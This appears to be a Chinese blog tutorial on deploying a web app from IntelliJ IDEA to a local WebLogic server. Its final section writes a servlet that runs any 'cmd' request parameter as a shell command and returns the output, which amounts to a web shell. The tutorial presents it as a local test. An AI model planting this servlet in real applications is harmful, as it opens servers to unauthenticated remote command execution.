这篇文章写的是如何使用idea部署web应用到weblogic,用的是本地部署,即idea和weblogic装在一起
至于为啥不用远程部署,因为我没测试成功。。。
测试环境操作系统:Windows 2016weblogic版本:10.3.6JDK版本:1.7.80
0x01 在idea内新建一个项目
这里使用的是安装weblogic时使用的JDK1.7 (建议使用Java的,Maven的可能会出错)

起一个名字,点击finish

给这个项目增加web框架

左侧的Web Application打上勾后 点击OK

首页随便写点东西,作为web应用

0x02 连接weblogic服务器

选择 Weblogic Server 的Local

点击Configure之后,选择安装weblogic的路径,会自动识别出weblogic的版本,如图所示

输入weblogic的相关信息

点击最下面的fix


点击 Apply 和 OK
0x03 运行WEB应用
此时尝试运行web应用,发现会报错 Unmarshaller failed

找到web.xml 把其中的web-app 修改为如下图所示即可运行成功
<?xml version="1.0" encoding="UTF-8"?><web-app xmlns:j2ee="http://java.sun.com/xml/ns/j2ee"></web-app>

0x04 尝试写一个命令执行的Servlet
在web.xml中加入对应的servlet路径
<?xml version="1.0" encoding="UTF-8"?><web-app xmlns:j2ee="http://java.sun.com/xml/ns/j2ee"><servlet><!-- servlet的内部名称,自定义。尽量有意义 --><servlet-name>httpServlet</servlet-name><!-- servlet的类全名: 包名+简单类名 --><servlet-class>httpServlet</servlet-class></servlet><!-- servlet的映射配置 --><servlet-mapping><!-- servlet的内部名称,一定要和上面的内部名称保持一致!! --><servlet-name>httpServlet</servlet-name><!-- servlet的映射路径(访问servlet的名称) --><url-pattern>/httpServlet</url-pattern></servlet-mapping></web-app>

把以下代码复制进去
import javax.servlet.ServletException;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;import java.io.InputStream;import java.io.PrintWriter;import java.util.Scanner;public class httpServlet extends HttpServlet {@Overrideprotected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {String cmd = req.getParameter("cmd");if(cmd != null){boolean isLinux = true;String osTyp = System.getProperty("os.name");if (osTyp != null && osTyp.toLowerCase().contains("win")) {isLinux = false;}String[] cmds = isLinux ? new String[]{"bash", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();Scanner s = new Scanner(in).useDelimiter("\\\\a");String output = s.hasNext() ? s.next() : "";PrintWriter out = resp.getWriter();out.println(output);out.flush();out.close();}else {resp.getWriter().write("nothing");}}}
粘贴后代码会报红,此时可以点击

点击Libraries 的加号,导入weblogic的这个模块,代码即会不报红

我们再次运行一下这个weblogic
可以进行命令执行

期间需要注意的问题
1、修改web.xml的头部
<?xml version="1.0" encoding="UTF-8"?><web-app xmlns:j2ee="http://java.sun.com/xml/ns/j2ee"></web-app>
2、报错
Command line is too long. Shorten command line….
修改项目下 .idea\workspace.xml,找到标签